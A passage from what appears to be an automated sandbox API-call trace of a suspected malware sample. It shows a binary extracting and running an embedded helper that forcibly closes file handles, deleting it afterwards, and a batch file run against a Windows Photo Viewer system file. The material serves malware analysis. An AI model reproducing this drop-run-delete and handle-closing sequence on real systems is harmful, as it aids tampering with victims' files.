!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ!µª1äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0108.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x80) returned 0x5f8240 [0108.543] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0108.543] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0108.543] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5f8240) returned 0x80 [0108.543] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0108.544] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0108.544] GetCurrentProcess () returned 0xffffffff [0108.544] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0108.544] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0108.544] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0108.544] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0108.544] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0108.544] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0108.544] LockResource (hResData=0x43c648) returned 0x43c648 [0108.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x18) returned 0x5f82c8 [0108.544] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90 [0108.546] GetFileType (hFile=0x90) returned 0x1 [0108.546] WriteFile (in: hFile=0x90, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0108.551] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1000) returned 0x5f9820 [0108.552] WriteFile (in: hFile=0x90, lpBuffer=0x5f9820*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x5f9820*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0108.552] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5f9820 | out: hHeap=0x5e0000) returned 1 [0108.552] CloseHandle (hObject=0x90) returned 1 [0108.552] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0108.552] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x94, hThread=0x90, dwProcessId=0xee8, dwThreadId=0xeec)) returned 1 [0108.565] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0109.341] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0109.343] CloseHandle (hObject=0x94) returned 1 [0109.343] CloseHandle (hObject=0x90) returned 1 [0109.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5f7810 | out: hHeap=0x5e0000) returned 1 [0109.344] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0109.344] ExitProcess (uExitCode=0x0) [0109.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5f60c8 | out: hHeap=0x5e0000) returned 1 Process: id = "199" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x6448000" os_pid = "0xecc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x328" cmd_line = "cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\"\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 786 os_tid = 0xed0 [0109.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x31fef4 | out: lpSystemTimeAsFileTime=0x31fef4*(dwLowDateTime=0xe46cbd20, dwHighDateTime=0x1d5d06a)) [0109.004] GetCurrentProcessId () returned 0xecc [0109.004] GetCurrentThreadId () returned 0xed0 [0109.004] GetTickCount () returned 0x1162ebf [0109.004] QueryPerformanceCounter (in: lpPerformanceCount=0x31feec | out: lpPerformanceCount=0x31feec*=25095639697) returned 1 [0109.005] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0109.005] __set_app_type (_Type=0x1) [0109.005] __p__fmode () returned 0x76be31f4 [0109.005] __p__commode () returned 0x76be31fc [0109.006] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0109.006] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0109.006] GetCurrentThreadId () returned 0xed0 [0109.006] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xed0) returned 0x60 [0109.006] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0109.006] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0109.006] SetThreadUILanguage (LangId=0x0) returned 0x409 [0109.176] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0109.178] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x31fe84 | out: phkResult=0x31fe84*=0x0) returned 0x2 [0109.180] VirtualQuery (in: lpAddress=0x31febb, lpBuffer=0x31fe54, dwLength=0x1c | out: lpBuffer=0x31fe54*(BaseAddress=0x31f000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0109.180] VirtualQuery (in: lpAddress=0x220000, lpBuffer=0x31fe54, dwLength=0x1c | out: lpBuffer=0x31fe54*(BaseAddress=0x220000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0109.180] VirtualQuery (in: lpAddress=0x221000, lpBuffer=0x31fe54, dwLength=0x1c | out: lpBuffer=0x31fe54*(BaseAddress=0x221000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0109.180] VirtualQuery (in: lpAddress=0x223000, lpBuffer=0x31fe54, dwLength=0x1c | out: lpBuffer=0x31fe54*(BaseAddress=0x223000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0109.180] VirtualQuery (in: lpAddress=0x320000, lpBuffer=0x31fe54, dwLength=0x1c | out: lpBuffer=0x31fe54*(BaseAddress=0x320000, AllocationBase=0x320000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0109.180] GetConsoleOutputCP () returned 0x1b5 [0109.182] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0109.182] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0109.183] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.183] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0109.184] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.184] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0109.185] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.186] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0109.191] _get_osfhandle (_FileHandle=0) returned 0x3 [0109.191] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0109.215] _get_osfhandle (_FileHandle=0) returned 0x3 [0109.216] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0109.217] GetEnvironmentStringsW () returned 0x6d2118* [0109.217] GetProcessHeap () returned 0x6c0000 [0109.217] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xaca) returned 0x6d2bf0 [0109.218] FreeEnvironmentStringsW (penv=0x6d2118) returned 1 [0109.218] GetProcessHeap () returned 0x6c0000 [0109.218] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x4) returned 0x6d18b0 [0109.218] GetEnvironmentStringsW () returned 0x6d2118* [0109.218] GetProcessHeap () returned 0x6c0000 [0109.218] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xaca) returned 0x6d36c8 [0109.218] FreeEnvironmentStringsW (penv=0x6d2118) returned 1 [0109.218] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x31edf4 | out: phkResult=0x31edf4*=0x68) returned 0x0 [0109.218] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x31edfc, lpData=0x31ee00, lpcbData=0x31edf8*=0x1000 | out: lpType=0x31edfc*=0x0, lpData=0x31ee00*=0x0, lpcbData=0x31edf8*=0x1000) returned 0x2 [0109.218] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x31edfc, lpData=0x31ee00, lpcbData=0x31edf8*=0x1000 | out: lpType=0x31edfc*=0x4, lpData=0x31ee00*=0x1, lpcbData=0x31edf8*=0x4) returned 0x0 [0109.218] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x31edfc, lpData=0x31ee00, lpcbData=0x31edf8*=0x1000 | out: lpType=0x31edfc*=0x0, lpData=0x31ee00*=0x1, lpcbData=0x31edf8*=0x1000) returned 0x2 [0109.218] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x31edfc, lpData=0x31ee00, lpcbData=0x31edf8*=0x1000 | out: lpType=0x31edfc*=0x4, lpData=0x31ee00*=0x0, lpcbData=0x31edf8*=0x4) returned 0x0 [0109.218] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x31edfc, lpData=0x31ee00, lpcbData=0x31edf8*=0x1000 | out: lpType=0x31edfc*=0x4, lpData=0x31ee00*=0x40, lpcbData=0x31edf8*=0x4) returned 0x0 [0109.218] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x31edfc, lpData=0x31ee00, lpcbData=0x31edf8*=0x1000 | out: lpType=0x31edfc*=0x4, lpData=0x31ee00*=0x40, lpcbData=0x31edf8*=0x4) returned 0x0 [0109.218] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x31edfc, lpData=0x31ee00, lpcbData=0x31edf8*=0x1000 | out: lpType=0x31edfc*=0x0, lpData=0x31ee00*=0x40, lpcbData=0x31edf8*=0x1000) returned 0x2 [0109.219] RegCloseKey (hKey=0x68) returned 0x0 [0109.219] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x31edf4 | out: phkResult=0x31edf4*=0x68) returned 0x0 [0109.219] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x31edfc, lpData=0x31ee00, lpcbData=0x31edf8*=0x1000 | out: lpType=0x31edfc*=0x0, lpData=0x31ee00*=0x40, lpcbData=0x31edf8*=0x1000) returned 0x2 [0109.219] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x31edfc, lpData=0x31ee00, lpcbData=0x31edf8*=0x1000 | out: lpType=0x31edfc*=0x4, lpData=0x31ee00*=0x1, lpcbData=0x31edf8*=0x4) returned 0x0 [0109.219] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x31edfc, lpData=0x31ee00, lpcbData=0x31edf8*=0x1000 | out: lpType=0x31edfc*=0x0, lpData=0x31ee00*=0x1, lpcbData=0x31edf8*=0x1000) returned 0x2 [0109.219] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x31edfc, lpData=0x31ee00, lpcbData=0x31edf8*=0x1000 | out: lpType=0x31edfc*=0x4, lpData=0x31ee00*=0x0, lpcbData=0x31edf8*=0x4) returned 0x0 [0109.219] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x31edfc, lpData=0x31ee00, lpcbData=0x31edf8*=0x1000 | out: lpType=0x31edfc*=0x4, lpData=0x31ee00*=0x9, lpcbData=0x31edf8*=0x4) returned 0x0 [0109.219] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x31edfc, lpData=0x31ee00, lpcbData=0x31edf8*=0x1000 | out: lpType=0x31edfc*=0x4, lpData=0x31ee00*=0x9, lpcbData=0x31edf8*=0x4) returned 0x0 [0109.219] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x31edfc, lpData=0x31ee00, lpcbData=0x31edf8*=0x1000 | out: lpType=0x31edfc*=0x0, lpData=0x31ee00*=0x9, lpcbData=0x31edf8*=0x1000) returned 0x2 [0109.219] RegCloseKey (hKey=0x68) returned 0x0 [0109.219] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710ff [0109.219] srand (_Seed=0x5e2710ff) [0109.219] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\"\"" [0109.219] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\"\"" [0109.220] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0109.220] GetProcessHeap () returned 0x6c0000 [0109.220] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x210) returned 0x6d2118 [0109.220] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6d2120, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0109.221] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0109.221] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0109.221] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0109.221] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0109.221] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0109.221] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0109.221] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0109.221] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0109.221] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0109.221] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0109.221] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0109.221] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0109.221] GetProcessHeap () returned 0x6c0000 [0109.221] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d2bf0 | out: hHeap=0x6c0000) returned 1 [0109.221] GetEnvironmentStringsW () returned 0x6d2330* [0109.221] GetProcessHeap () returned 0x6c0000 [0109.221] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xae2) returned 0x6d4c90 [0109.221] FreeEnvironmentStringsW (penv=0x6d2330) returned 1 [0109.221] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0109.221] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0109.221] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0109.221] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0109.221] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0109.221] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0109.222] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0109.222] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0109.222] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0109.222] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0109.222] GetProcessHeap () returned 0x6c0000 [0109.222] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x54) returned 0x6d17e0 [0109.222] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x31fbc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0109.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x31fbc0, lpFilePart=0x31fbbc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x31fbbc*="Desktop") returned 0x25 [0109.222] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0109.222] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x31f93c | out: lpFindFileData=0x31f93c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x6d5780 [0109.222] FindClose (in: hFindFile=0x6d5780 | out: hFindFile=0x6d5780) returned 1 [0109.222] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x31f93c | out: lpFindFileData=0x31f93c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x6d5780 [0109.222] FindClose (in: hFindFile=0x6d5780 | out: hFindFile=0x6d5780) returned 1 [0109.222] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0109.222] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x31f93c | out: lpFindFileData=0x31f93c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x6d5780 [0109.222] FindClose (in: hFindFile=0x6d5780 | out: hFindFile=0x6d5780) returned 1 [0109.223] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0109.223] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0109.223] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0109.223] GetProcessHeap () returned 0x6c0000 [0109.223] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4c90 | out: hHeap=0x6c0000) returned 1 [0109.223] GetEnvironmentStringsW () returned 0x6d41a0* [0109.223] GetProcessHeap () returned 0x6c0000 [0109.223] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb36) returned 0x6d5fc0 [0109.223] FreeEnvironmentStringsW (penv=0x6d41a0) returned 1 [0109.223] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0109.223] GetProcessHeap () returned 0x6c0000 [0109.223] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d17e0 | out: hHeap=0x6c0000) returned 1 [0109.223] GetProcessHeap () returned 0x6c0000 [0109.223] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x400e) returned 0x6d6b00 [0109.224] GetProcessHeap () returned 0x6c0000 [0109.224] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xf8) returned 0x6d2e70 [0109.224] GetProcessHeap () returned 0x6c0000 [0109.224] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x4008) returned 0x6dab18 [0109.224] GetProcessHeap () returned 0x6c0000 [0109.224] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x4008) returned 0x6deb28 [0109.225] GetProcessHeap () returned 0x6c0000 [0109.225] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d6b00 | out: hHeap=0x6c0000) returned 1 [0109.225] GetConsoleOutputCP () returned 0x1b5 [0109.249] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0109.249] GetUserDefaultLCID () returned 0x409 [0109.251] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0109.252] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x31fd00, cchData=128 | out: lpLCData="0") returned 2 [0109.252] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x31fd00, cchData=128 | out: lpLCData="0") returned 2 [0109.252] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x31fd00, cchData=128 | out: lpLCData="1") returned 2 [0109.252] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0109.252] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0109.252] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0109.252] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0109.252] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0109.252] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0109.252] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0109.252] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0109.252] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0109.252] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0109.252] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0109.254] GetProcessHeap () returned 0x6c0000 [0109.254] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20c) returned 0x6d2f70 [0109.254] GetConsoleTitleW (in: lpConsoleTitle=0x6d2f70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0109.255] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0109.256] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0109.256] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0109.256] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0109.257] GetProcessHeap () returned 0x6c0000 [0109.257] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x400a) returned 0x6d6b00 [0109.257] GetProcessHeap () returned 0x6c0000 [0109.257] HeapFree (in: 